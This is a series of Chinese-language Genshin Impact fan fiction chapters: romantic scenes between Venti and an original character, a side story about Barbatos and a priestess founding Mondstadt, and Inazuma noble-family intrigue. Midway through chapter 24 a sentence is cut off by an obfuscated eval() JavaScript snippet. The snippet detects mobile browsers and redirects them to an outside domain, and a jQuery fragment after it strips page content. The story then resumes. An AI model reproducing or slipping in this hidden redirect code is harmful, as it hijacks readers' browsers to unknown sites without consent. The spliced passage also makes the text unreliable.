虽然没有温迪踩得那么“惊天动地”,但水花也涌了起来,打湿了她的鞋面和裤腿下端。一种冰凉又奇妙的触感传来,伴随着水花溅起的清脆声响和脚下的触感。 “哈哈哈!”这次轮到希尔薇忍不住笑出声来,清脆的笑声如同银铃。她看向温迪,金色的眼眸里盛满了毫不掩饰的快乐。 温迪看着她发自内心的笑容,翠绿的眼眸温柔得能滴出水来。他再次牵起希尔薇的手:“再来!这边还有更大的!” 两人就这样手拉着手,像两个真正无忧无虑的孩子,在雨后蒙德城的石板路上寻找着大大小小的水洼。他们跳跃着、踩踏着,溅起一片片晶莹的水花。 欢快的笑声、踩水的“噗通”声交织在一起,打破了雨后的宁静。水珠打湿了他们的裤脚和鞋子,泥点或许也悄悄沾染了衣角,但谁在乎呢? 05 温迪万万没想到,希尔薇居然,居然对酒精过敏!这个发现让他瞬间愣住了,所以他之前以为希尔薇喝醉后样子……根本不是微醺,而是过敏反应。。 过敏的感觉糟糕透了。希尔薇的皮肤泛起大片不正常的红晕,眼睛也红肿起来,头痛得像是要裂开。她难受地蜷缩着,可怜兮兮地望着温迪,眼神里全是委屈。 “我发誓!”温迪急忙解释,声音里带着慌乱,“我真的不是故意把那杯苹果酒放在桌子上的!我只是……只是今天出门太急,忘记把喝了一半的酒收起来了!”他懊恼地抓了抓头发。 小妖精米蕾焦急地飞到希尔薇身边,小手摸了摸她的额头,惊呼道:“好烫!希尔薇在发烧!” 温迪立刻站起身:“我去!我这就去给你熬醒酒汤!”他转身就要冲向厨房。 “别走……”希尔薇难受地哼唧着,伸出手虚弱地拽住了温迪的衣角,声音带着依赖,“我难受……温迪……”她的手紧紧攥着他的衣服,仿佛那是唯一的依靠。 温迪整个人都僵住了。他既心疼希尔薇的痛苦,又舍不得强行拉开她的手让她更不安。他只好弯下腰,温柔但坚定地轻轻掰开她拽着衣角的手指,小心地握在自己手里:“乖,希尔薇,松一下手好不好?我很快就回来,真的!就一会儿,等我一下,马上就好!”他急切地保证着。 米蕾着急地绕着温迪飞来飞去,气鼓鼓地嘟囔着:“都怪你!你这个粗心大意的家伙!可恶的卖唱的!要是希尔薇出事了,我跟你没完!” 温迪顾不上反驳,飞快地跑去厨房熬制醒酒汤。 等希尔薇勉强喝完温迪端来的醒酒汤后,虽然剧烈的头痛和皮肤灼烧感缓解了一些,但她的状态依然蔫蔫的,没什么精神。最明显的是她的眼睛,依旧红红的,像只受惊的小兔子,看着就让人心疼。 温迪心里充满了愧疚,几乎不敢直视希尔薇那双此刻显得格外脆弱、泛着水光的金色眼睛。他手足无措地站在床边,最后只好默默地低下头,像个做错事的孩子。 这时,希尔薇小声地抱怨了一句,声音还带着点鼻音:“都怪你不让我去找特瓦林玩……” 温迪听到这话,身体明显一僵。希尔薇对龙的喜爱,特别是对特瓦林的亲近,简直超乎他的想象!要不是因为希尔薇还有猫尾酒馆的演奏,温迪敢肯定,她恨不得一整天都住在风龙废墟里陪那条龙。 想到希尔薇总爱往特瓦林那里跑,温迪心里也会忍不住有点空落落的。再想到自己无论多晚,都会记得回家陪她,温迪的语气不由自主地就带上了一点自己也未察觉的委屈:“希尔薇总是想着特瓦林……有没有想过我也会担心你?我也会……伤心的啊。” 希尔薇原本还想反驳“可是……可是,那可是龙哎!谁会不喜欢一条龙呢?”,但看到温迪低垂着头、声音里透着失落的样子,她忽然就说不出口了。 她沉默了一下,然后伸出手,轻轻拉过温迪的手,在他微凉的指尖上落下了一个轻柔又带着点安抚意味的吻。 06 ········· 23. 遥远的故事[番外] 那位曾经统治此地的风之魔神,迭卡拉庇安,因其严苛的暴政最终激起了人民的反抗。 在激烈的抗争中,祂化作了笼罩在蒙德北部、至今未曾停歇的恐怖飓风。 部落间流传的消息说,一位名为巴巴托斯的新生魔神,带领着渴望自由的人们推翻了迭卡拉庇安的统治。 消息越传越广,人们议论纷纷,既充满希望又带着一丝不安。 然而,这些宏大的变迁,暂时与一位名叫希尔薇的少女关系不大。 希尔薇站在高处,望向远方那片正在努力从废墟中重建的土地,拢了拢被风吹乱的头发。在她所属的部落里,像她这样能清晰感知到空气中元素力细微流动的人,被视为天生的祭司。 这样的人能预知天气变化,感知雨水何时降临,因此被部落认为拥有与神明沟通的桥梁。 随着旧魔神的覆灭,部落中弥漫着深深的忧虑。他们不了解这位新魔神巴巴托斯的性情,生怕触怒对方。 在惶恐中,部落的长老们商议着如何取悦这位新的庇护者,以求得生存的保障。 在这个魔神至上的时代,人类部落在祂们面前确实如同渺小的蝼蚁,依附强者是唯一的生存之道。 魔神怎么会在意人类的想法呢?希尔薇内心平静地想着。在她看来,魔神与人类几乎是两种截然不同的存在。 她低头看了看自己身上那套象征身份的纯白色祭司服,祭司的身份意味着什么?意味着享受部落最好的供养,但也同时肩负着观测天象、预知灾害的责任。 部落集会的声音越来越大,显得有些嘈杂。忽然,人群后方一阵小小的骚动,一个身影被踉跄地推了出来。 希尔薇认出了他,奥罗拉,一个每次见到她都会脸红的少年。 奥罗拉低着头,声音紧张得发颤:“希…希尔薇,长老说……长老们商议决定……想把你……献给那位新魔神巴巴托斯大人。” 希尔薇的目光平静地扫过长老们躲闪的眼神,最后落回奥罗拉身上。 她依旧是那副淡然的神情,微微垂下眼帘,仿佛只是在接受一件寻常的安排:“好,我知道了。” 人类的历史常常被编织成歌谣,在部落间和孩童口中传唱。这些歌谣承载着记忆,也塑造着人们对未知的想象。 大多数人一生都无缘亲眼见到魔神的真容,祂们会是什么模样?是否真如歌谣中描述的那样,拥有着可怖的狮身人面或怪物的躯体? 传说中,那位被推翻的前风神迭卡拉庇安就拥有一副俊美的人类面孔,若非如此,那位著名的弓箭手阿莫斯,又怎会为祂倾心? 古老的歌谣在低吟: “人们为你献上丰盛酒宴, 人们为你献上最珍贵的贡礼, 人们为你戴上祝福的花环, 人们为你献上纯洁美丽的少女……” 希尔薇的部落,原本计划投靠其他魔神的势力,此刻也改变了主意,选择了依附这位新生的风神巴巴托斯。 当希尔薇被引荐给巴巴托斯时,她推开了那扇象征着觐见的门。 门内的景象与她预想的庄严肃穆截然不同,人们聚在一起,脸上洋溢着发自内心的笑容,空气中充满了欢声笑语,仿佛聚会本身就能带来纯粹的快乐。 而在人群的最前方,那位名为巴巴托斯的魔神,正轻松地与人交谈。祂有着一头柔顺的黑色短发,最引人注目的是背后那双洁白无瑕的巨大羽翼,以及一双如同初生嫩叶般清澈翠绿的眼眸。 宴会终有散场时。当人群带着满足的笑容离去,宽敞的大厅只剩下希尔薇和那位高踞于主座的风神。巴巴托斯带着一丝好奇和诧异的目光,落在了下方渺小的人类少女身上。 “你走吧,”祂的声音温和,却带着一种疏离,“我不需要这样的‘礼物’。” 在真正看到巴巴托斯的那一刻,希尔薇心中关于魔神狰狞的想象瞬间消散。此刻,她心中只有一个清晰的认知:原来魔神是这样的存在。 她没有惊慌,而是从容地跪伏下去,声音平静地陈述着一个残酷的事实:“巴巴托斯大人,即使您让我回去,我也无法在部落中继续生存下去了。” 她很清楚,被魔神拒绝的“祭品”,回到部落后只会被视为不祥或无用之人,结局可想而知。 那位新生的风神从高高的座位上走了下来,停在她面前。希尔薇感到祂的目光落在自己身上,带着审视,或许还有一丝她无法理解的复杂情绪。 也许,魔神确实会爱人,只是方式与人类不同? “那么,你就留下吧。”巴巴托斯似乎想到了什么,忽然展露出一个轻松的笑容,补充道,“留在我身边。” 在这个蒙昧初开的时代,识字的人如同凤毛麟角,各个部落使用的文字也千差万别。 自从风的魔神吹散了笼罩蒙德的冰雪与永不停歇的飓风,让和煦的春风带来丰沛的雨水滋润大地,这片土地才开始焕发生机。 希尔薇心想,这位名为巴巴托斯的魔神,或许真的是一位温柔的神明吧。 只是,或许是因为身为魔神,又或许是因为祂天性自由不羁,祂也未免太过于……喜欢靠近她了。 “今天蒙德东部预计会有强风,西部则可能有降雨,”巴巴托斯刚说完,希尔薇就感觉身旁的魔神毫无顾忌地直接坐到了她旁边,她下意识地往右边挪了挪。 她能清晰地感受到祂翅膀柔软的羽毛边缘不经意拂过脸颊的细微触感,以及祂身上散发出的、如同雨后森林般清新的气息。 这种感觉对她来说太陌生了,让她有些无所适从。希尔薇只能把注意力更专注地集中在手中的莎草纸上,记录着信息。 自从巴巴托斯将她留在身边,希尔薇便成为了蒙德城初建时期的一位特殊祭司,辅助这位新生的魔神处理许多具体的事务:统一蒙德地区使用的文字,制定历法以指导农时…… 巨大的风车在平坦的土地上缓缓竖起,果酒湖的支流被引入,灌溉着新开垦的农田。 象征着希望与生机的麦苗,在湿润的土壤中茁壮成长。 欣欣向荣的景象也意味着希尔薇需要处理的事务与日俱增,她梳理着需要巴巴托斯过目的几件要事,认真地誊写在莎草纸上。 “咦?”巴巴托斯似乎对人类如何组织语言表达很感兴趣,祂凑过来,低头看着希尔薇写下的字句。希尔薇不动声色地将手中的芦苇笔和沙皮纸拿得稍近了一些,方便这位魔神看得更清楚。 “原来事情还可以这样表达?”巴巴托斯的声音带着点孩子般的新奇和惊讶。 “嗯嗯,”希尔薇点点头,然后又悄悄地将自己与这位魔神之间的距离拉远了一点点。 巴巴托斯刚想把头靠过去仔细看看,结果毫无疑问地扑了个空,祂抬起头,那双翠绿的眼睛带着些许不解和委屈,直直地看向希尔薇。 希尔薇转过头,像是想转移话题般开口道:“人们计划立一块石碑,歌颂您吹散风雪、带来生机的功绩。” “这份荣光,难道只属于我一个人吗?”巴巴托斯立刻反问。 希尔薇立刻就明白了他想表达的意思,“我会和其她人商议,将那段人民反抗暴政、追求自由的历史,以及所有无名英雄的事迹,都刻在石碑上。” 巴巴托斯单手托着腮,最近祂总是这样,目光有意无意地、仔细地落在希尔薇身上,这让她感到有些困扰。 希尔薇伸出手,轻轻将巴巴托斯的脸转向另一边,语气带着一丝无奈:“巴巴托斯大人,请您不要这样一直看着我。” 话音刚落,巴巴托斯反而又朝祂靠近了一点距离,翠绿的眼眸里带着真诚的疑问:“我不可以看你吗?” 希尔薇抬起头,那双沉静的金色眼眸坦然地回望着巴巴托斯,直到对方不自在地转过头。她认真地回答:“您这样的话,会让我感到困扰的。” “好吧好吧,”巴巴托斯像是有点小失落,但还是听话地应了下来。 金发的祭司专注地坐在石碑前,一笔一划地刻下蒙德的历史。而那位风之魔神巴巴托斯,则坐在远处尚未完工的蒙德城边缘,静静地、远远地望着她。 祂并非不想靠近,但希尔薇说过,祂的靠近会给她带来困扰。于是,祂只能选择这样远远地陪伴。 也曾有人请求巴巴托斯大人亲自出手,用神力将文字刻在石碑上,这样既快速又庄严。 但巴巴托斯总是温和而坚定地拒绝:“人的历史,理应由人的双手来铭记。” 于是,希尔薇用她的双手,在石碑上刻下了这座新生城镇的起源,刻下了蒙德建立的艰辛与希望,更刻下了那些为自由而抗争的无名者的史诗。 连续数日的精雕细琢,耗费了希尔薇大量的精力,让她感到疲惫不堪。她揉了揉有些酸痛的手腕,抬头望向远方。 高塔之上,那道熟悉的身影依旧静静地坐在那里,仿佛一阵随时会融入天际的风。 人怎么会妄想捉住一缕永不停歇的风呢,她想。 ········· 人们向你献上爱意,人们向你献上花朵。 一位脸颊泛红的少女,鼓起勇气,将一束洁白的塞西莉亚花扔进了巴巴托斯的怀里。希尔薇认得,那似乎是巴巴托斯最喜欢的花。 希尔薇站在稍远的地方,平静地看着。巴巴托斯有些意外地接住花束,手足无措,目光下意识地投向希尔薇,似乎在寻找什么。 祂希望看到什么呢?是希尔薇脸上也出现一丝波动吗? 然而,希尔薇的神情依旧如常。那张美丽的脸庞上,没有任何异样的情绪,只有她惯常的、温和而疏离的微笑。 她站在那里,安静得像一幅画。 巴巴托斯忽然明白了,希尔薇和那些因为感激或敬畏而向祂献上心意的人不同。 她尊敬祂,协助祂,但她的目光似乎永远落在更远的地方——她信仰的,似乎是“自由”这个概念本身,而非巴巴托斯。 这个认知让祂心里莫名地有些不舒服,祂拿着那束还带着露水的塞西莉亚花,走到希尔薇面前,站在蒙德城初具雏形的广场边缘,带着困惑直接问道: “希尔薇,为什么……为什么你从不像别人那样?”祂的声音里带着一种少年人特有的直白和不解。 为什么你不曾嫉妒?希尔薇 为什么你没有难过?希尔薇 为什么你总是这样……平静? 祂翠绿的眼睛紧紧盯着她,试图从那双沉静的金眸里找到答案。 希尔薇微微怔了一下,似乎没料到祂会这样问。她看着巴巴托斯,这位拥有强大力量、带领人们走向新生的风之魔神,此刻的神情却像个迷茫的孩子。 虽然祂借用了逝去友人的外表,但内里那份属非人种的特质依旧清晰。 “巴巴托斯大人,”希尔薇的声音依旧温和,却带着一丝不易察觉的叹息,“我不明白您为何这样问。” 巴巴托斯摇了摇头,眉头微蹙:“我就是不明白,她们献花给我,你会不高兴吗?看到别人靠近我,你心里不会有一点点……不一样的感觉吗?”祂努力 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“可是……”巴巴托斯张了张嘴,总觉得哪里不对,却又说不出来。祂想要的不只是尊敬和感激,但祂自己也不清楚那具体是什么。 一种莫名的烦躁涌上心头,祂下意识地收拢了一下背后那对巨大的羽翼,像是要拂去什么。 “我要的不是这个!”祂终于有些懊恼地低声说,声音里带着祂自己也未曾预料到的急切。 祂低头看着手中那束无辜的塞西莉亚花,仿佛它成了此刻所有莫名情绪的象征。 最终,祂像是泄气一般,带着点孩子气的别扭,将那束花轻轻扔在了地上,白色的花瓣散落了几片。 祂翠绿的眼眸固执地看着希尔薇,固执地想要一个能填满祂心中那份空茫的答案。 希尔薇看着那束被遗落的花,又抬眼看向巴巴托斯那张写满困惑和执拗的年轻脸庞,沉默着向后退去。 等风之魔神的身影远去,希尔薇拿起了那束塞西莉亚花,拂去洁白花瓣上的灰尘,极其缓慢地将它抱进了自己怀里。 风遇到了岩石,阐述了自己的困惑,岩石沉默了,然后开口:“你喜欢上了一个人。”祂说。 “喜欢……喜欢是什么?”风不明白,是像咬一口秋天熟透的苹果那样?是像喝下亲手酿的蒲公英酒那样?还是像看着塞西莉亚花在风中摇曳那样? 岩石说:“喜欢是你见到那个人,就会自然而然地感到雀跃。” 于是,风想,祂应该是喜欢塞西莉亚花的, 祂喜欢那个名为希尔薇的祭司,她推开那扇沉重的门,来到了祂身边。 风的魔神不喜欢那些繁冗的政务,于是希尔薇接手了它们。比起巴巴托斯,希尔薇更像是实际的执政者。 她处理着蒙德大大小小的事务:从春耕的安排到秋收的分配,从房屋建造的纠纷到邻里间的口角调解……一沓沓等待处理的公文几乎堆满了她的案头。 她步履不停地走过新开垦的田地,倾听着农人们的需求和抱怨。她安静地待在议事厅里,耐心听取着每一位前来陈情的人的话语。 她也会安静地待在巴巴托斯身边,听着祂随心所欲的呢喃话语。 她用那双沉静的金色眼睛,注视着这座新生城邦从废墟中建立、壮大。 她热爱这片土地上自由的风,她喜爱秋天枝头沉甸甸的果实,她也喜爱那不畏风霜、只在险峻高山上绽放的塞西莉亚花。 在一个天气晴好的午后,希尔薇刚处理完一批公务,正想稍作休息。巴巴托斯却不知何时出现在她身后。 他洁白的羽翼忽然轻轻收拢,带着一种不容置疑的温柔,几乎将希尔薇整个人笼罩在他的气息里,将她一步步轻柔地逼至书桌与墙壁的角落,直至退无可退。 希尔薇背靠着微凉的墙壁,能清晰地感受到他温热的呼吸拂过额发。 巴巴托斯低下头,翠绿的眼眸里盛满了前所未有的认真和一种奇异的炽热,他清晰地、一字一顿地说:“希尔薇,我喜欢你。” 希尔薇的心猛地一跳,呼吸微微一滞。 她知道,这一刻终于还是来了。她抬起头,望向近在咫尺的那张执着的年轻脸庞,明白自己必须给出一个答案了。 她没有惊慌,也没有羞涩,只是用那双能洞察人心的金色眼睛,平静地看着巴巴托斯,如同一位祭司向信仰的神明发出最庄重的叩问: 凡人向永恒的神明叩以三问。 其一为:“时光流转百年,您炽热的情感是否仍如初绽的塞西莉亚般纯粹?” 风毫不犹豫地回答:“永世不变。” 其二为:“假如有一天我容貌衰老,美丽不再,您是否会如初见之时一样喜欢我?” 风回答:“你的灵魂,是永不凋零的塞西莉亚。我爱的,正是这独一无二的灵魂。” 其三为:“假如有一天,我以凡人注定的方式死去,您是否不因我的离去而让您的心陷入长久的悲伤与荒芜?” 风沉默了。 祂说:“我不愿意。” 人从稚嫩年幼生长至迟暮,然后终将,每个人都不可避免地走向死亡。 希尔薇再次问出那个问题,带着不容回避的决绝:“您是否接受这必然的结局?” 风的羽翼轻颤,最终归于沉寂。 祂说:“我……会学着接受的。”这声音轻得像一阵叹息,却仿佛用尽了祂所有的勇气。 24. 海棠醉日(一) 椎名青子端坐在幽暗的房间里,月光透过那扇狭小的窗户,落在她怀中抱着的长刀上,如同月华般清亮。 门外传来细微的窸窣声,她微微侧耳倾听,先是几下谨慎的敲击,接着是一个女孩压低了的声音:“姐姐,我给你带了吃的,你要吃一点吗?” 话音刚落,一个小包裹便精准地从窗口抛了进来,“啪”地一声轻响落在屋内地上。 看得出来,女孩做这种事已十分熟练。 事实上,椎名青子已经被饿了整整三天,她感觉自己的手指都在微微发颤。但依旧保持着一种无可挑剔的礼仪,她轻声问到:“汐子,父亲大人最近怎么样?” 门外的椎名汐知道自己不像姐姐那样心思缜密,所以只是老老实实地复述着她所看到的场景。 椎名青子解开包袱,拿出里面已经冷透的饭团,小口小口地吃着。 门外,汐子并未离开,她继续小声说着话:“父亲大人已经让我开始接触茶道和香道了,还有诗歌。” 稻妻的贵族小姐通常会举行一些雅集,以茶会和歌会最为常见。椎名青子从汐子的话语里听出了弦外之音,那位椎名家的家主椎名悠真,显然已开始将汐子视为一种政治资源,准备用于未来的联姻。 “那些东西你学学也无妨,”椎名青子这样说着,她垂下眼帘,目光落在膝上的长刀,“但切记,不要过于投入。” “夜深了,汐子,你也去歇息吧。” “好的,姐姐,”脚步声略显迟疑,“父亲说明天应该就会放你出来。” 等妹妹的脚步声渐渐远去,消失在走廊尽头,椎名青子心想:果然还是太大意了。她没想到自己的父亲椎名悠真竟如此专横且疑心重重,连她与神里家明面上的往来都要如此严厉地干涉吗?真是令人厌烦。 随着母亲如月七绪的病情日益沉重,她的父亲椎名悠真显然已经等不及了,等不及接手母亲作为前任大巫女的丰厚遗产,更等不及染指社奉行那部分因神里家衰落而空悬的权力。 看来,椎名青子默默思索着,最近必须尝试接触一下鸣神大社的那位宫司大人。 第二天,果不其然,仆人推开了那间漆黑禁闭室的门。 骤然涌入的日光让习惯了黑暗的椎名青子感到一阵刺目眩晕,她下意识抬手遮挡了一下光线,然后对推门的仆人平静地道了一声:“多谢。” 室内的少女姿态依旧如春晓之花般沉静优雅,即使被关了三日禁闭,也丝毫不见狼狈之态。 仆人恭敬地低头应是,随即传达道:“家主大人请您过去。” 椎名青子指尖轻轻摩挲着腰间的刀柄,眼中不易察觉地闪过一丝讥讽。这个时候叫她过去,无非是觉得她被饿了三天,意志力已被消磨,更容易被拿捏罢了。 再次向仆人道谢后,椎名青子迈步走出禁闭室,走向父亲的书房。 椎名悠真正端坐在主位,一旁的矮几上放着一碗粗陶茶盏。稻妻贵族推崇简朴的生活美学,时人常以清贫自律为风尚。 许多贵族少女除了学习歌道与雅乐,茶道也是必修课。房间另一侧还挂着几幅刻意模仿古拙风格的挂轴和障壁画,透着一股附庸风雅的气息。 “父亲,”椎名青子平静地开口行礼。 椎名悠真打量着底下身姿优美、神情自若的女儿,眼中掠过一丝不易察觉的满意。 他抿了一口茶,缓缓开口:“青子,你应该明白,自从上一任神里家主夫妇因病相继亡故后,神里家已是日薄西山。你再与神里家来往,实属不智。” “即便当年有过指腹为婚的口头约定,那也不过是旧日戏言,当不得真。” 他放下茶盏,发出轻微的磕碰声,继续道:“况且,你也知道你母亲近来身体每况愈下。要知道,虽然神里家夫人与你母亲曾是闺中密友,但自神里夫妇过世后,我们椎名家对他们也算仁至义尽,多有接济。” “是的,我明白了,父亲。”椎名青子的声音听不出波澜,“我最近会与神里家保持距离的。” “嗯。”随着茶盏彻底放下的清响,椎名悠真发话,“去看看你的母亲吧。” “是。”椎名青子微微欠身,退了出去。 她面色如常,踩着木屐,朝着母亲如月七绪的居所走去。 妹妹汐子已经在房间里守着了,眼圈通红,显然是刚哭过一场。椎名青子走进房间,将手中的长刀递给一旁侍立的下仆,然后蹲下身来,看向病榻上的母亲。 如月七绪的状态确实非常糟糕了,脸色苍白得没有一丝血色,病容憔悴得仿佛下一刻就要熄灭的残烛。 “母亲, ”椎名青子轻声唤着,指尖温柔地将母亲脸颊旁散乱的白发拢到耳后。她心里很清楚,椎名悠真绝不会让她的母亲长久地活下去。 似乎听到了女儿的声音,如月七绪挣扎着想要起身。 椎名青子连忙小心地扶起母亲,让她靠在自己身上。如月七绪喘息着,艰难地开口对椎名汐说道:“汐子…你先出去一下吧…我有话…要单独同青子说…” 椎名汐哽咽着,似乎想说什么,但在看到姐姐椎名青子不赞同地微微摇头后,只好含着泪,一步三回头地走出了房间。 如月七绪紧紧握住椎名青子的手,断断续续地咳嗽着,声音虚弱却急切:“我…怕是不行了…死之前…最放心不下的…就是汐子了…” “青子…”她一边说着,一边用尽力气从枕下摸出一枚小巧的勾玉,郑重地放在椎名青子的手心,“这是…大巫女的信物…” 接着,这位即将油尽灯枯的母亲,没有抱怨自己当年错嫁给椎名悠真,只是用尽最后的气力,将自己名下为数不多、父亲尚不知晓或难以染指的几处资产和隐藏的人脉关系,一点一滴地交代给自己的长女。 事到如今,椎名青子还有什么不明白的呢?椎名悠真当初求娶母亲,看中的不就是她作为出云大社前任巫女的身份,以及她与现任宫司八重大人那份深厚的情谊吗? 最后,这位耗尽所有心力的母亲疲惫地对青子摆了摆手:“出去吧,青子…我现在…需要好好…休息一下了…” 椎名青子将勾玉仔细地藏进自己的振袖深处,轻轻推开门。椎名汐正像只受伤的小兽般倚靠着门框,压抑地呜咽着。 听到开门声,她慌忙用衣袖用力擦拭脸上的泪水,抬头看向姐姐:“阿姐,母亲她……”话未说完,声音便已哽咽得不成语调。 椎名青子伸出手,温柔地抚摸了一下妹妹乌黑柔顺的长发,声音带着一种令人安心的力量:“一切都会好起来的,汐子。现在,你也需要好好休息一下,今天你太累了。” 回到自己的房间,椎名青子将长刀置于刀架上,疲惫地揉了揉眉心,开始仔细回想自己与神里家那位大小姐的书信往来是否还有遗漏。 如果神里绫人足够敏锐,他应当能从信中约定的代号“侘助”看出端倪,那是两位母亲当年约定的暗号。 她在信中已指明,在离岛某处仓库里存放着一批价值不菲的矿石。不过,这点资产对于风雨飘摇的神里家来说,恐怕也只是杯水车薪。 一阵强烈的眩晕感袭来,椎名青子眼前阵阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969831|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发黑,被关了三天又骤然接触强光,她的身体还有些吃不消。 她难得地靠在椅子上,闭目养神,整理着纷乱的思绪。 自从稻妻的大御所决定深居一心净土,不再直接处理政务,稻妻的局势就一直动荡不安。三奉行中,社奉行因前任家主神里夫妇的早逝而意外衰落。 连原本由三奉行共同商议国事的评定所,现在也似乎在有意无意地排斥着社奉行的代表。加上…… 椎名家目前依附于掌管财政的勘定奉行,平日里主要负责一些物资调配、账目核算等辅助性事务。 自从椎名悠真求娶了前任大巫女如月七绪后,与社奉行神里家的联系也曾一度紧密起来。 然而椎名悠真这个老于世故的人,可不会给任何人留下把柄。表面上,他对勘定奉行忠心耿耿,又因妻子的关系与神里家维持着表面的礼节性来往,看上去行事圆融,没有半分可供指摘的错处。 物哀的风气在贵族间一直存在,随着母亲如月七绪的病重,一部分的内宅事务也交到了椎名青子手中。 然而,她现在真正能掌握的资源和力量,只有母亲临终托付的那点微薄遗产。 这局面,可真是艰难啊。 作为出云大社曾经的大巫女,如月七绪与现任宫司八重神子关系极为密切,与已故的神里家主夫人更是情同姐妹的手帕交。 若非如此,当年两位夫人也不会在青子和神里绫人尚在襁褓中时,就半开玩笑地说要为他们定下娃娃亲。 而当时,正是椎名悠真极力促成了这份口头婚约。那时神里家如日中天,身为三奉行之首,不知有多少家族想要攀附这门高枝。 当神里家主病重不起的消息传来,椎名悠真几乎是毫不犹豫地就收回了当初的承诺。 虽然这让当时一些人私下里觉得他过于势利,但为了平息议论、维持体面,椎名悠真还是假惺惺地送去了不少名贵药材和市面上难寻的珍本古籍作为“慰问”。 贴身侍女知鸟在门外轻轻敲击了三下门扉,得到椎名青子“进来”的许可后,才恭敬地将一封信呈上。 信中的字迹端方典雅,笔锋藏而不露,既不过分张扬也不流于华丽。 看起来不太像是神里家大小姐神里绫华的字迹,反倒更接近她那位兄长,神里绫人的风格。 椎名青子此刻并不在意这封信究竟是谁代笔所写,对她而言,只要这封信来自神里家就足够了。 她一目十行地快速扫过信笺,目光在信末落款“神里绫人敬上”时微微停顿了一下。 随即,她对侍立一旁的知鸟吩咐道:“下去吧,今天,你也辛苦了。” 虽然椎名悠真将她和汐子视为联姻的工具,但平日里对她们的拘管倒也不算严密。 毕竟这位椎名家的家主,光是应付勘定奉行繁冗的事务就已足够焦头烂额了。 椎名青子对神里家本身并无太多特殊的情感,她那位父亲一生都在汲汲营营地攀附权贵,在她年幼时,就时常带着她拜访各个显赫家族,对各种宴会请帖趋之若鹜。 若非因为母亲如月七绪与神里夫人的深厚情谊,椎名青子或许根本不会对那个同样身处权力漩涡、如今已然没落的神里家多看一眼。 这座由雷霆与永恒统治的国度里,上演的阴谋与悲剧难道还少吗? 椎名青子站起身,腰间那枚冰蓝色的神之眼随着她的动作轻轻晃动,折射出清冷的光泽。 她深深地吸了一口气,压下心头的纷乱与身体的疲惫。 是的,是时候强迫自己休息片刻了。 25. 海棠醉日(二) 勘定奉行地处离岛,平日主要负责稻妻的贸易财税管理与外籍商人往来,同时也掌管着整个稻妻的公共财产。 走在回廊上,汐子跟在她身后,垂着头,指尖无意识地揉着发红的手心。那位教授茶道和礼仪的老师实在太过严苛,稍有差池便会迎来训斥。 要不是椎名青子敏锐察觉到汐子状态不对劲,不然汐子现在怕是还在接受那位严苛的老师教导呢。 “姐姐,我不明白。”走到青子身边,椎名汐子低声道,声音里带着明显的困惑和委屈,“我不明白我为什么要学习这些东西。” 椎名青子牵着妹妹的手,轻轻拢在掌心,指尖安抚地摩挲着她的手背。“汐子,你要知晓,”她的声音温和却带着一丝不易察觉的沉重,“世如棋枰,非人力可轻为;顺势而为,乃世间常态耳。” 快到勘定奉行门口时,椎名青子停下脚步,侧首叮嘱道:“把你采的那些草药记得收好些,太惹眼会引来不必要的麻烦。” 她看着妹妹清澈又带着倔强的眼睛,“我知道你想学医,但在此之前,汐子,你要学会谨慎行事,莫要张扬。” 到了勘定奉行府邸,椎名青子松开牵着妹妹的手,朝着门役递上请柬:“有劳通传,椎名家青子携椎名汐,应柊千里小姐之邀前来雅集。” 那位门役仔细验看后才将人放进去。椎名青子其实也不喜欢参加这种雅集,那些虚情假意的应酬对她来说是一种负担。 汐子的眼圈还有些红,但她很好地掩饰了下去,只是安静乖巧地跟在姐姐身边。 贵族小姐的服装当然称不上简约,甚至可以称得上是繁琐。姐妹二人皆身着宽大的正袖和服,衣料考究,纹饰含蓄。 等到了茶室,里面已精心布置停当。席位依照礼法规制安排,还有专门的茶师已经在茶盘后静候。 椎名青子目光沉静地打量着周围的人,都是一些熟面孔:柊千里小姐,以及鹰司家和松浦家的几位小姐,除却那位九条家的小姐已经开始接触天领奉行的事务,故并不在此。 坐在位置上,椎名青子想,似乎就差神里家的那位大小姐了。 伴随着神里家的没落,这位大小姐出行肯定也会面临议论。 正想着,神里绫华来了,她自廊下缓步而出,姿态从容优雅,如同白鹭般优美。 怪不得有着“白鹭公主”的雅称,椎名汐也向神里绫华看了一眼,便收回了目光,她现在显然更惦记自己那些未完成的功课。 母亲还在的时候,尚能为她们挡下风雨,能为妹妹特意延请富有名望的医师来教导。如月七绪其实并不在乎自己的女儿必须长成什么特定的样子,对她来说,孩子们想做什么事,便尽力去成全便好。 比如说汐子喜欢医术,她就为她请来最好的老师。 而对于青子这个过于聪慧敏锐的长女,如月七绪也会不知不觉地寄予更深切的期望,因此在青子年幼时,就为她请来了当时名望甚高的武士教导剑术。 她腰间佩刀“千鸟”,便是恩师所赠。 等到宾客来齐,茶师为诸位依次奉上茶。不少人的目光都在悄悄打量神里绫华。 她的姿态沉静端雅,连奉茶时的仪态也无可挑剔,让人挑不出半分毛病。 椎名青子与这位柊家的大小姐关系倒还算亲近,因着父辈的交情,所以和这位柊家小姐也常有往来。 这种茶道雅集无非就是品茗、静坐、闲谈,椎名青子看似在聆听,心思却早已飘远。等到雅集结束,椎名青子站起身,同妹妹一道告辞。 那位神里家的大小姐不知何时走到了她们身边,对青子低声道:“家兄托我转达谢意。” 青子并未客套推辞,只微微颔首。转而,她稍稍提高声音对神里绫华说道:“听闻神里家大小姐对花艺颇有研究,不知青子可否登门请教一二?” 神里绫华也听出了椎名青子话语中的深意,点头应是:“随时恭候。” 神里家虽然没落,但一辆马车还是置办得起。登上神里绫华的马车,汐子好奇地打量了一下车厢周边,很快便端正坐好,收回了目光。 椎名青子端坐一旁,沉吟片刻,直言道:“愚人众最近似乎在频繁接触天领奉行和勘定奉行。” 神里绫华闻言微怔。关于愚人众的名声她自然知道,至于他们为何接触两大奉行,个中缘由尚不明朗。 她很快压下心中疑虑,郑重向青子道:“多谢青子小姐提点。” “不必言谢,时候差不多,我和汐子该回去了。”说完这句话,她微微欠身,同妹妹一同下了马车。 